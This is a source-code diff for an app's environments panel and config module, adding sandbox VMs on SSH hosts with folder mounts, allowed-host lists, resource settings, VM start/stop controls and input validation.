<div className="sandbox-folder" key={mount.guest}>
|
||||
<span className="mono small">
|
||||
{mount.host} → {mount.guest}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
className="text-action"
|
||||
title={mount.readonly ? "Read-only; tap to allow writes" : "Writable; tap to make read-only"}
|
||||
onClick={() =>
|
||||
onChange(
|
||||
mounts.map((each, at) =>
|
||||
at === index
|
||||
? { host: each.host, guest: each.guest, ...(each.readonly ? {} : { readonly: true }) }
|
||||
: each,
|
||||
),
|
||||
)
|
||||
}
|
||||
>
|
||||
{mount.readonly ? "ro" : "rw"}
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="text-action"
|
||||
aria-label={`Remove ${mount.guest}`}
|
||||
onClick={() => onChange(mounts.filter((_, at) => at !== index))}
|
||||
>
|
||||
✕
|
||||
</button>
|
||||
</div>
|
||||
))}
|
||||
{adding ? (
|
||||
<div className="stack">
|
||||
<div className="env-row">
|
||||
<label className="field">
|
||||
<span className="label">Folder on {host || "the host"}</span>
|
||||
<input
|
||||
className="input mono"
|
||||
value={adding.host}
|
||||
onChange={(event) => setAdding({ ...adding, host: event.target.value })}
|
||||
onKeyDown={onKeyDown}
|
||||
placeholder="~/project"
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
</label>
|
||||
<label className="field">
|
||||
<span className="label">Path in the sandbox</span>
|
||||
<input
|
||||
className="input mono"
|
||||
value={adding.guest}
|
||||
onChange={(event) => setAdding({ ...adding, guest: event.target.value })}
|
||||
onKeyDown={onKeyDown}
|
||||
placeholder="/workspace"
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
<label className="check">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={adding.readonly}
|
||||
onChange={(event) => setAdding({ ...adding, readonly: event.target.checked })}
|
||||
/>
|
||||
Read-only
|
||||
</label>
|
||||
<div className="inline-form">
|
||||
<button type="submit" className="button" disabled={busy || !name || !draft.host.trim()}>
|
||||
<button type="button" className="button" disabled={!ready} onClick={add}>
|
||||
Add folder
|
||||
</button>
|
||||
<button type="button" className="text-action" onClick={() => setAdding(undefined)}>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
className="text-action"
|
||||
onClick={() => setAdding({ host: "", guest: "", readonly: false })}
|
||||
>
|
||||
+ Add folder
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SandboxFields({
|
||||
draft,
|
||||
existing,
|
||||
hosts,
|
||||
update,
|
||||
}: {
|
||||
draft: SandboxDraft;
|
||||
existing: boolean;
|
||||
hosts: string[];
|
||||
update: (patch: Partial<SandboxDraft>) => void;
|
||||
}) {
|
||||
return (
|
||||
<>
|
||||
{!existing && <NameField value={draft.name} placeholder="box1" onChange={(name) => update({ name })} />}
|
||||
<label className="field">
|
||||
<span className="label">Runs on</span>
|
||||
<select
|
||||
className="input"
|
||||
value={draft.host}
|
||||
onChange={(event) => update({ host: event.target.value })}
|
||||
required
|
||||
>
|
||||
{!hosts.includes(draft.host) && <option value="">Choose an SSH environment</option>}
|
||||
{hosts.map((host) => (
|
||||
<option key={host} value={host}>
|
||||
{host}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</label>
|
||||
<label className="field">
|
||||
<span className="label">Image (optional)</span>
|
||||
<input
|
||||
className="input mono"
|
||||
value={draft.image}
|
||||
onChange={(event) => update({ image: event.target.value })}
|
||||
placeholder="alpine-base:latest"
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
</label>
|
||||
<FoldersField host={draft.host} mounts={draft.mounts} onChange={(mounts) => update({ mounts })} />
|
||||
<label className="field">
|
||||
<span className="label">Allowed hosts (one per line)</span>
|
||||
<textarea
|
||||
className="input mono"
|
||||
rows={3}
|
||||
value={draft.allowHosts}
|
||||
onChange={(event) => update({ allowHosts: event.target.value })}
|
||||
placeholder={"github.com\n*.npmjs.org"}
|
||||
{...NO_AUTOCORRECT}
|
||||
/>
|
||||
<span className="muted small">All other HTTP(S) is refused with 403. No other protocols.</span>
|
||||
</label>
|
||||
<div className="env-row">
|
||||
<label className="field">
|
||||
<span className="label">CPUs</span>
|
||||
<input
|
||||
className="input mono"
|
||||
value={draft.cpus}
|
||||
onChange={(event) => update({ cpus: event.target.value })}
|
||||
inputMode="numeric"
|
||||
placeholder="2"
|
||||
/>
|
||||
</label>
|
||||
<label className="field">
|
||||
<span className="label">Memory (MB)</span>
|
||||
<input
|
||||
className="input mono"
|
||||
value={draft.memoryMb}
|
||||
onChange={(event) => update({ memoryMb: event.target.value })}
|
||||
inputMode="numeric"
|
||||
placeholder="1024"
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
/** A VM state dot and word, for list rows. */
|
||||
function VmLabel({ vm, tested }: { vm: VmState | undefined; tested: boolean }) {
|
||||
const text =
|
||||
vm === undefined ? (tested ? "…" : "not tested") : vm.state === "stopped" && !tested ? "not tested" : vm.state;
|
||||
return (
|
||||
<>
|
||||
<span className={`vm-dot ${vm?.state ?? ""}`} />
|
||||
{text}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
/** A sandbox's VM on its detail screen. */
|
||||
function VmStatus({ vm, host }: { vm: VmState | undefined; host: string }) {
|
||||
if (!vm) return <p className="notice">Reading the VM's state on {host}…</p>;
|
||||
if (vm.state === "unknown") return <p className="notice error">VM state unknown: {vm.error}</p>;
|
||||
if (vm.state === "stopped")
|
||||
return (
|
||||
<div className="notice env-test">
|
||||
<p>
|
||||
<strong>Stopped</strong> · on {host}
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
return (
|
||||
<div className="notice env-test">
|
||||
<p>
|
||||
<strong>Running</strong> · up {uptime(vm.startedAt)} · on {host}
|
||||
</p>
|
||||
<p className="muted small">
|
||||
{plural(vm.cpus, "CPU")} · {vm.memoryMb} MB
|
||||
</p>
|
||||
{!vm.current && <p className="small">⚠ Changes apply when the VM next starts.</p>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SandboxRow({
|
||||
env,
|
||||
vm,
|
||||
indented,
|
||||
onOpen,
|
||||
}: {
|
||||
env: EnvSummary;
|
||||
vm: VmState | undefined;
|
||||
indented: boolean;
|
||||
onOpen: () => void;
|
||||
}) {
|
||||
return (
|
||||
<button type="button" className={`row-button ${indented ? "env-sandbox" : ""}`} onClick={onOpen}>
|
||||
<span>
|
||||
<LockIcon /> <strong>{env.name}</strong>
|
||||
</span>
|
||||
<small className="row-value">
|
||||
<VmLabel vm={vm} tested={env.test !== undefined} /> · {plural(env.sessions, "session")}
|
||||
</small>
|
||||
<ChevronIcon />
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
/** The route's locator is the edited environment; an empty locator creates one. Form edits are not steps. */
|
||||
export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: () => void }) {
|
||||
const service = useObject(Envs, {});
|
||||
const loadError = useReadable(service?.failure);
|
||||
const nav = useNavigation();
|
||||
const [editing, setEditing] = useState<Editing>();
|
||||
const [test, setTest] = useState<EnvTest>();
|
||||
const [vms, setVms] = useState<Record<string, VmState>>({});
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string>();
|
||||
// Saves and deletions show in the list at once; a refused one rolls back with its error.
|
||||
const [envs, edit] = useOptimisticCall(useReadable(service?.envs), applyEnv, (reason) =>
|
||||
setError(errorText(reason)),
|
||||
);
|
||||
const [confirmDelete, setConfirmDelete] = useState(false);
|
||||
const filled = useRef<string | null | undefined>(null);
|
||||
useEffect(() => {
|
||||
if (filled.current === screen) return;
|
||||
if (screen === undefined) {
|
||||
filled.current = screen;
|
||||
setEditing(undefined);
|
||||
return;
|
||||
}
|
||||
const host = screen.startsWith(NEW_SANDBOX) ? screen.slice(NEW_SANDBOX.length) : undefined;
|
||||
const env = envs?.find((entry) => entry.name === screen);
|
||||
if (screen !== "" && host === undefined && !env) return;
|
||||
filled.current = screen;
|
||||
setEditing(
|
||||
env
|
||||
? editingOf(env)
|
||||
: host !== undefined
|
||||
? { kind: "gondolin", draft: sandboxDraftOf("", { type: "gondolin", host }), existing: false }
|
||||
: { kind: "ssh", draft: EMPTY, existing: false },
|
||||
);
|
||||
setTest(env?.test);
|
||||
setError(undefined);
|
||||
setConfirmDelete(false);
|
||||
}, [screen, envs]);
|
||||
const sandboxNames = (envs ?? [])
|
||||
.flatMap((entry) => (entry.config.type === "gondolin" ? [entry.name] : []))
|
||||
.join(" ");
|
||||
const readVm = (name: string) =>
|
||||
service?.sandboxStatus({ name }, BACKGROUND_CONTEXT).then(
|
||||
(status): VmState => status,
|
||||
(reason: unknown): VmState => ({ state: "unknown", error: errorText(reason) }),
|
||||
);
|
||||
// VM states are read again on every screen (best effort): the list never waits for them.
|
||||
// biome-ignore lint/correctness/useExhaustiveDependencies: reads again when the screen or the sandboxes change; readVm is recreated each render.
|
||||
useEffect(() => {
|
||||
let current = true;
|
||||
for (const name of sandboxNames.split(" ").filter(Boolean))
|
||||
void readVm(name)?.then((vm) => {
|
||||
if (current) setVms((states) => ({ ...states, [name]: vm }));
|
||||
});
|
||||
return () => {
|
||||
current = false;
|
||||
};
|
||||
}, [service, sandboxNames, screen]);
|
||||
const setVm = (name: string, vm: VmState) => setVms((states) => ({ ...states, [name]: vm }));
|
||||
const toScreen = (name: string | undefined, how: "push" | "close" = "push") =>
|
||||
void nav[how]({
|
||||
...nav.route,
|
||||
layers: [
|
||||
...nav.route.layers.slice(0, -1),
|
||||
{ kind: "sheet", name: "envs", ...(name === undefined ? {} : { locator: name }) },
|
||||
],
|
||||
});
|
||||
const run = async (operation: () => Promise<void>) => {
|
||||
setBusy(true);
|
||||
setError(undefined);
|
||||
try {
|
||||
await operation();
|
||||
} catch (reason) {
|
||||
setError(errorText(reason));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
const sshEnvs = (envs ?? []).filter((entry) => entry.config.type === "ssh");
|
||||
const sandboxesOn = (host: string) =>
|
||||
(envs ?? []).filter((entry) => entry.config.type === "gondolin" && entry.config.host === host);
|
||||
const name = editing?.draft.name.trim() ?? "";
|
||||
const updateSsh = (patch: Partial<SshDraft>) =>
|
||||
setEditing((current) =>
|
||||
current?.kind === "ssh" ? { ...current, draft: { ...current.draft, ...patch } } : current,
|
||||
);
|
||||
const updateSandbox = (patch: Partial<SandboxDraft>) =>
|
||||
setEditing((current) =>
|
||||
current?.kind === "gondolin" ? { ...current, draft: { ...current.draft, ...patch } } : current,
|
||||
);
|
||||
const testNow = async () => {
|
||||
if (!service) return;
|
||||
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
|
||||
// A sandbox's test starts its VM.
|
||||
if (editing?.kind === "gondolin") void readVm(name)?.then((vm) => setVm(name, vm));
|
||||
};
|
||||
/** Saves the form: the environment is listed (and the form an existing one's) at once; the save's call. */
|
||||
const save = (): Promise<unknown> | undefined => {
|
||||
if (!service || !editing) return undefined;
|
||||
setError(undefined);
|
||||
let config: EnvConfig;
|
||||
try {
|
||||
config = editing.kind === "ssh" ? sshConfigOf(editing.draft) : sandboxConfigOf(editing.draft);
|
||||
} catch (reason) {
|
||||
setError(errorText(reason));
|
||||
return undefined;
|
||||
}
|
||||
const saving = service.save({ name, config }, BACKGROUND_CONTEXT);
|
||||
edit({ kind: "save", name, config }, () => saving);
|
||||
setEditing((current) => current && { ...current, existing: true });
|
||||
if (!editing.existing) {
|
||||
filled.current = name;
|
||||
void nav.replace({
|
||||
...nav.route,
|
||||
layers: [...nav.route.layers.slice(0, -1), { kind: "sheet", name: "envs", locator: name }],
|
||||
});
|
||||
}
|
||||
// A running VM keeps its configuration until it restarts: read whether it is still current.
|
||||
if (editing.kind === "gondolin")
|
||||
void saving.then(
|
||||
() => readVm(name)?.then((vm) => setVm(name, vm)),
|
||||
() => {},
|
||||
);
|
||||
return saving;
|
||||
};
|
||||
/**
|
||||
* Saves, then tests (an SSH env) or starts the VM (a sandbox; a running one restarts, applying the change): long
|
||||
* work, so the form shows "Working…" until it answers.
|
||||
*/
|
||||
const saveAnd = (then: "test" | "start" | "restart") =>
|
||||
void run(async () => {
|
||||
const saving = save();
|
||||
if (!saving || !service) return;
|
||||
await saving;
|
||||
if (then === "test") return testNow();
|
||||
if (then === "restart") await service.sandboxStop({ name }, BACKGROUND_CONTEXT);
|
||||
setVm(name, await service.sandboxStart({ name }, BACKGROUND_CONTEXT));
|
||||
});
|
||||
if (editing) {
|
||||
const { existing } = editing;
|
||||
const saved = envs?.find((env) => env.name === name);
|
||||
const sessions = saved?.sessions ?? 0;
|
||||
const sandbox = editing.kind === "gondolin";
|
||||
const hostedSandboxes = editing.kind === "ssh" && existing ? sandboxesOn(name) : [];
|
||||
const vm = vms[name];
|
||||
const ready = Boolean(name && editing.draft.host.trim());
|
||||
return (
|
||||
<Sheet title={existing ? name : sandbox ? "New sandbox" : "New environment"} onClose={onClose}>
|
||||
{editing.kind === "gondolin" && (
|
||||
<>
|
||||
{existing && saved?.config.type === "gondolin" && service && (
|
||||
<div className="stack sandbox-status">
|
||||
<VmStatus vm={vm} host={saved.config.host} />
|
||||
<div className="inline-form">
|
||||
{vm?.state === "running" ? (
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
className="button"
|
||||
disabled={busy}
|
||||
onClick={() =>
|
||||
void run(async () =>
|
||||
setVm(name, await service.sandboxStop({ name }, BACKGROUND_CONTEXT)),
|
||||
)
|
||||
}
|
||||
>
|
||||
Stop
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="button"
|
||||
disabled={busy}
|
||||
onClick={() =>
|
||||
void run(async () => {
|
||||
setVm(name, await service.sandboxStop({ name }, BACKGROUND_CONTEXT));
|
||||
setVm(name, await service.sandboxStart({ name }, BACKGROUND_CONTEXT));
|
||||
})
|
||||
}
|
||||
>
|
||||
Restart
|
||||
</button>
|
||||
</>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
className="button"
|
||||
disabled={busy}
|
||||
onClick={() =>
|
||||
void run(async () =>
|
||||
setVm(name, await service.sandboxStart({ name }, BACKGROUND_CONTEXT)),
|
||||
)
|
||||
}
|
||||
>
|
||||
Start
|
||||
</button>
|
||||
)}
|
||||
<button type="button" className="button" disabled={busy} onClick={() => void run(testNow)}>
|
||||
{busy ? "Working…" : "Test"}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<p className="muted small sandbox-intro">
|
||||
A VM on {editing.draft.host || "an SSH environment"}. It sees only the folders listed here and
|
||||
reaches only the allowed hosts; sessions working in it cannot leave it.
|
||||
</p>
|
||||
</>
|
||||
)}
|
||||
<form
|
||||
className="stack env-form"
|
||||
onSubmit={(event) => {
|
||||
event.preventDefault();
|
||||
// A refused save shows through its rollback.
|
||||
void save()?.catch(() => {});
|
||||
}}
|
||||
>
|
||||
{editing.kind === "ssh" ? (
|
||||
<SshFields draft={editing.draft} existing={existing} update={updateSsh} />
|
||||
) : (
|
||||
<SandboxFields
|
||||
draft={editing.draft}
|
||||
existing={existing}
|
||||
hosts={sshEnvs.map((env) => env.name)}
|
||||
update={updateSandbox}
|
||||
/>
|
||||
)}
|
||||
<div className="inline-form">
|
||||
<button type="submit" className="button" disabled={busy || !ready}>
|
||||
Save
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="button primary"
|
||||
disabled={busy || !name || !draft.host.trim()}
|
||||
onClick={saveAndTest}
|
||||
disabled={busy || !ready}
|
||||
onClick={() => saveAnd(sandbox ? (vm?.state === "running" ? "restart" : "start") : "test")}
|
||||
>
|
||||
{busy ? "Working…" : "Save and test"}
|
||||
{busy
|
||||
? "Working…"
|
||||
: sandbox
|
||||
? vm?.state === "running"
|
||||
? "Save and restart"
|
||||
: "Save and start"
|
||||
: "Save and test"}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
{service && <KeySection service={service} name={name} onKey={(identityFile) => update({ identityFile })} />}
|
||||
{editing.kind === "ssh" && service && (
|
||||
<KeySection service={service} name={name} onKey={(identityFile) => updateSsh({ identityFile })} />
|
||||
)}
|
||||
{test && service && (
|
||||
<TestResult
|
||||
test={test}
|
||||
|
|
@ -476,13 +975,13 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
onAccept={(lines) =>
|
||||
void run(async () => {
|
||||
await service.acceptHostKey({ name, lines }, BACKGROUND_CONTEXT);
|
||||
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
|
||||
await testNow();
|
||||
})
|
||||
}
|
||||
onForget={() =>
|
||||
void run(async () => {
|
||||
await service.forgetHostKey({ name }, BACKGROUND_CONTEXT);
|
||||
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
|
||||
await testNow();
|
||||
})
|
||||
}
|
||||
/>
|
||||
|
|
@ -492,13 +991,34 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
{error}
|
||||
</p>
|
||||
)}
|
||||
{editing.kind === "ssh" && existing && (
|
||||
<div className="list">
|
||||
<span className="label">Sandboxes on {name}</span>
|
||||
{hostedSandboxes.map((entry) => (
|
||||
<SandboxRow
|
||||
key={entry.name}
|
||||
env={entry}
|
||||
vm={vms[entry.name]}
|
||||
indented={false}
|
||||
onOpen={() => toScreen(entry.name)}
|
||||
/>
|
||||
))}
|
||||
<button type="button" className="row-button" onClick={() => toScreen(`${NEW_SANDBOX}${name}`)}>
|
||||
<span>
|
||||
<PlusIcon size={14} /> Add sandbox
|
||||
</span>
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
<div className="list">
|
||||
{existing &&
|
||||
(sessions > 0 ? (
|
||||
<p className="muted small">
|
||||
Used by {sessions} session{sessions === 1 ? "" : "s"} (archived ones included); it cannot be
|
||||
deleted while they exist.
|
||||
Used by {plural(sessions, "session")} (archived ones included); it cannot be deleted while they
|
||||
exist.
|
||||
</p>
|
||||
) : hostedSandboxes.length > 0 ? (
|
||||
<p className="muted small">Sandboxes run on it; delete them before the environment.</p>
|
||||
) : confirmDelete ? (
|
||||
<div className="inline-form">
|
||||
<span className="small">Delete "{name}"?</span>
|
||||
|
|
@ -520,7 +1040,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
</div>
|
||||
) : (
|
||||
<button type="button" className="text-action danger" onClick={() => setConfirmDelete(true)}>
|
||||
Delete environment
|
||||
{sandbox ? "Delete sandbox" : "Delete environment"}
|
||||
</button>
|
||||
))}
|
||||
<button type="button" className="text-action" onClick={() => toScreen(undefined, "close")}>
|
||||
|
|
@ -535,6 +1055,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
<p className="muted small">
|
||||
Sessions in a remote environment run their tools on that machine over SSH; the agent, its history and your
|
||||
credentials stay here. Keys come from your SSH agent or identity file; passwords are not supported.
|
||||
Sandboxes are VMs on a remote environment that sessions working in them cannot leave.
|
||||
</p>
|
||||
{(error || loadError) && (
|
||||
<p className="notice error" role="alert">
|
||||
|
|
@ -542,10 +1063,12 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
</p>
|
||||
)}
|
||||
<div className="list">
|
||||
{envs?.map((entry) => (
|
||||
<button type="button" key={entry.name} className="row-button" onClick={() => toScreen(entry.name)}>
|
||||
{sshEnvs.map((entry) => (
|
||||
<div key={entry.name} className="env-group">
|
||||
<button type="button" className="row-button" onClick={() => toScreen(entry.name)}>
|
||||
<span>
|
||||
<strong>{entry.name}</strong> <span className="muted mono small">{entry.config.host}</span>
|
||||
<strong>{entry.name}</strong>{" "}
|
||||
<span className="muted mono small">{entry.config.type === "ssh" && entry.config.host}</span>
|
||||
</span>
|
||||
<small className="row-value">
|
||||
{entry.test === undefined
|
||||
|
|
@ -556,6 +1079,27 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
|
|||
</small>
|
||||
<ChevronIcon />
|
||||
</button>
|
||||
{sandboxesOn(entry.name).map((sandbox) => (
|
||||
<SandboxRow
|
||||
key={sandbox.name}
|
||||
env={sandbox}
|
||||
vm={vms[sandbox.name]}
|
||||
indented
|
||||
onOpen={() => toScreen(sandbox.name)}
|
||||
/>
|
||||
))}
|
||||
{hostsSandboxes(entry) && (
|
||||
<button
|
||||
type="button"
|
||||
className="row-button env-sandbox"
|
||||
onClick={() => toScreen(`${NEW_SANDBOX}${entry.name}`)}
|
||||
>
|
||||
<span className="muted">
|
||||
<PlusIcon size={14} /> Add sandbox on {entry.name}
|
||||
</span>
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
{envs && !envs.length && <p className="empty-note">No environments yet.</p>}
|
||||
<button type="button" className="row-button" onClick={() => toScreen("")}>
|
||||
|
|
|
|||
|
|
@ -1,10 +1,19 @@
|
|||
import { join } from "node:path";
|
||||
import { compile } from "@earendil-works/pi-schema";
|
||||
import { envRevision, LockedFile, optionalText, stripBom, stripJsonComments } from "@p2/app/v1/node";
|
||||
import { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig } from "./schema.ts";
|
||||
import { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig, type GondolinEnvConfig } from "./schema.ts";
|
||||
|
||||
export { envRevision } from "@p2/app/v1/node";
|
||||
export { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig } from "./schema.ts";
|
||||
export {
|
||||
ENV_NAME,
|
||||
type EnvConfig,
|
||||
EnvConfigSchema,
|
||||
type EnvsConfig,
|
||||
type GondolinEnvConfig,
|
||||
isSandbox,
|
||||
type SandboxMount,
|
||||
type SshEnvConfig,
|
||||
} from "./schema.ts";
|
||||
|
||||
const validator = compile(EnvConfigSchema);
|
||||
|
||||
|
|
@ -17,15 +26,74 @@ function sshField(value: string | undefined): boolean {
|
|||
return value === undefined || (!value.startsWith("-") && !/\s/.test(value) && !hasControl(value));
|
||||
}
|
||||
|
||||
/** Paths p2 uses in a sandbox: where pi-env's daemon is copied, where Gondolin mounts the folders before binding. */
|
||||
const RESERVED = ["/opt/pi-env", "/.p2-vfs"];
|
||||
|
||||
/** A path inside a sandbox: absolute, normalized, not the root, without control characters. */
|
||||
function guestPath(path: string): boolean {
|
||||
return (
|
||||
path.startsWith("/") &&
|
||||
path !== "/" &&
|
||||
!hasControl(path) &&
|
||||
path
|
||||
.split("/")
|
||||
.slice(1)
|
||||
.every((part) => part !== "" && part !== "." && part !== "..")
|
||||
);
|
||||
}
|
||||
|
||||
/** One configuration on its own (a sandbox's host is checked against the others by `parseEnvs`). */
|
||||
export function validateEnv(value: unknown): EnvConfig {
|
||||
if (!validator.check(value)) throw new Error("Invalid environment configuration");
|
||||
const config = structuredClone(value) as EnvConfig;
|
||||
if (config.type === "gondolin") {
|
||||
if (!ENV_NAME.test(config.host)) throw new Error("Invalid host environment");
|
||||
if (config.image !== undefined && !/^[A-Za-z0-9][A-Za-z0-9._:/@-]*$/.test(config.image))
|
||||
throw new Error("Invalid image");
|
||||
const guests = new Set<string>();
|
||||
for (const mount of config.mounts ?? []) {
|
||||
const host = mount.host === "~" || mount.host.startsWith("~/") || mount.host.startsWith("/");
|
||||
if (!host || hasControl(mount.host)) throw new Error(`Invalid folder: ${mount.host}`);
|
||||
if (!guestPath(mount.guest)) throw new Error(`Invalid path in the sandbox: ${mount.guest}`);
|
||||
if (
|
||||
RESERVED.some(
|
||||
(reserved) =>
|
||||
mount.guest === reserved ||
|
||||
reserved.startsWith(`${mount.guest}/`) ||
|
||||
mount.guest.startsWith(`${reserved}/`),
|
||||
)
|
||||
)
|
||||
throw new Error(`${mount.guest} is used by p2 in the sandbox (${RESERVED.join(", ")})`);
|
||||
// The launcher refuses these too, after resolving the path on the host; this is the form's early answer.
|
||||
if (!mount.readonly && (mount.host === "~" || mount.host === "/" || /^~\/\.pi(\/|$)/.test(mount.host)))
|
||||
throw new Error(`A writable folder must not contain or be inside ~/.pi: ${mount.host}`);
|
||||
if (guests.has(mount.guest)) throw new Error(`Two folders at ${mount.guest}`);
|
||||
guests.add(mount.guest);
|
||||
}
|
||||
for (const pattern of config.allowHosts ?? [])
|
||||
if (!/^[A-Za-z0-9*][A-Za-z0-9.*-]*$/.test(pattern)) throw new Error(`Invalid allowed host: ${pattern}`);
|
||||
return config;
|
||||
}
|
||||
if (!sshField(config.host) || !sshField(config.user)) throw new Error("Invalid host or user");
|
||||
if (hasControl(config.identityFile ?? "") || config.identityFile?.includes('"'))
|
||||
throw new Error("Invalid identity file");
|
||||
return config;
|
||||
}
|
||||
|
||||
/** Every sandbox runs on a configured SSH environment. */
|
||||
function checkHosts(envs: EnvsConfig): void {
|
||||
for (const [name, config] of Object.entries(envs))
|
||||
if (config.type === "gondolin" && envs[config.host]?.type !== "ssh")
|
||||
throw new Error(`Sandbox ${name} runs on "${config.host}", which is not an SSH environment`);
|
||||
}
|
||||
|
||||
/** The sandboxes running on SSH environment `host`. */
|
||||
export function sandboxesOn(envs: EnvsConfig, host: string): [string, GondolinEnvConfig][] {
|
||||
return Object.entries(envs).flatMap(([name, config]): [string, GondolinEnvConfig][] =>
|
||||
config.type === "gondolin" && config.host === host ? [[name, config]] : [],
|
||||
);
|
||||
}
|
||||
|
||||
export function parseEnvs(content: string): EnvsConfig {
|
||||
let value: unknown;
|
||||
try {
|
||||
|
|
@ -39,6 +107,7 @@ export function parseEnvs(content: string): EnvsConfig {
|
|||
if (!ENV_NAME.test(name)) throw new Error(`Invalid environment name: ${name}`);
|
||||
envs[name] = validateEnv(config);
|
||||
}
|
||||
checkHosts(envs);
|
||||
return envs;
|
||||
}
|
||||
|
||||
|
|
@ -58,8 +127,12 @@ export async function saveEnv(directory: string, name: string, config: EnvConfig
|
|||
try {
|
||||
await file.withLockAsync(async (current) => {
|
||||
const envs = current === undefined ? {} : parseEnvs(current);
|
||||
if (value === undefined) delete envs[name];
|
||||
else envs[name] = value;
|
||||
if (value === undefined) {
|
||||
const on = sandboxesOn(envs, name).map(([sandbox]) => sandbox);
|
||||
if (on.length) throw new Error(`Sandboxes run on "${name}": ${on.join(", ")}`);
|
||||
delete envs[name];
|
||||
} else envs[name] = value;
|
||||
checkHosts(envs);
|
||||
return { result: undefined, next: `${JSON.stringify(envs, null, 2)}\n` };
|
||||
});
|
||||
} finally {
|
||||
|
|
|
|||
12
apps/p2/plugins/envs/connection-revision.ts
Normal file
12
apps/p2/plugins/envs/connection-revision.ts
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// The revision a connection to an environment was opened for: its own configuration's, and for a sandbox also its
|
||||
// host's (the connection goes through the host), so editing either starts a new connection.
|
||||
|
||||
import { envRevision } from "@p2/app/v1/node";
|
||||
import type { EnvConfig, EnvsConfig } from "./schema.ts";
|
||||
|
||||
/** The connection revision of an environment configured as `config`, under `configs` (where a sandbox finds its host). */
|
||||
export function connectionRevision(configs: EnvsConfig, config: EnvConfig): string {
|
||||
if (config.type === "ssh") return envRevision(config);
|
||||
const host = Object.hasOwn(configs, config.host) ? configs[config.host] : undefined;
|
||||
return `${envRevision(config)}+${host === undefined ? "" : envRevision(host)}`;
|
||||
}
|
||||
|
|
@ -1,8 +1,25 @@
|
|||
import { arr, nul, num, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
|
||||
import { arr, bool, nul, num, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
|
||||
import { DirectoryListingSchema, defineRegistry, literal, local, method, record, remote, serverHost } from "@p2/app/v1";
|
||||
import type { EnvManager } from "./manager.ts";
|
||||
import { EnvConfigSchema } from "./schema.ts";
|
||||
|
||||
/** Whether an SSH env can host sandboxes: natively, through Docker, or not (`detail` says why or how). */
|
||||
export const SandboxSupportSchema = obj({
|
||||
runtime: union([literal("native"), literal("docker"), literal("none")]),
|
||||
detail: str(),
|
||||
});
|
||||
export type SandboxSupport = Static<typeof SandboxSupportSchema>;
|
||||
|
||||
/**
|
||||
* A sandbox's VM: stopped, or running since `startedAt`; `current` is false while it runs an older configuration
|
||||
* (changes apply when it restarts).
|
||||
*/
|
||||
export const SandboxStatusSchema = union([
|
||||
obj({ state: literal("stopped") }),
|
||||
obj({ state: literal("running"), startedAt: num(), cpus: num(), memoryMb: num(), current: bool() }),
|
||||
]);
|
||||
export type SandboxStatus = Static<typeof SandboxStatusSchema>;
|
||||
|
||||
export const EnvTestSchema = union([
|
||||
obj({
|
||||
ok: literal(true),
|
||||
|
|
@ -14,6 +31,8 @@ export const EnvTestSchema = union([
|
|||
latencyMs: num(),
|
||||
watchMode: union([literal("native"), literal("polling")]),
|
||||
warnings: arr(str()),
|
||||
/** SSH envs: whether the host can run sandboxes. */
|
||||
sandboxes: opt(SandboxSupportSchema),
|
||||
}),
|
||||
obj({
|
||||
ok: literal(false),
|
||||
|
|
@ -81,6 +100,12 @@ export const Envs = remote("p2.envs", {
|
|||
uploadKey: method(obj({ name: str(), key: str({ maxLength: 16384 }) }), Key),
|
||||
publicKey: method(Name, union([str(), nul()])),
|
||||
listDirectory: method(obj({ env: opt(str()), path: str() }), DirectoryListingSchema),
|
||||
/** A sandbox's VM state, read from its host. */
|
||||
sandboxStatus: method(Name, SandboxStatusSchema),
|
||||
/** Starts a sandbox's VM (with its current configuration) unless it runs. */
|
||||
sandboxStart: method(Name, SandboxStatusSchema),
|
||||
/** Stops a sandbox's VM; conversations working there reconnect and start it again at their next tool call. */
|
||||
sandboxStop: method(Name, SandboxStatusSchema),
|
||||
},
|
||||
},
|
||||
},
|
||||
|
|
|
|||
|
|
@ -8,18 +8,33 @@ import {
|
|||
acceptHostKey,
|
||||
type Connection,
|
||||
connectSsh,
|
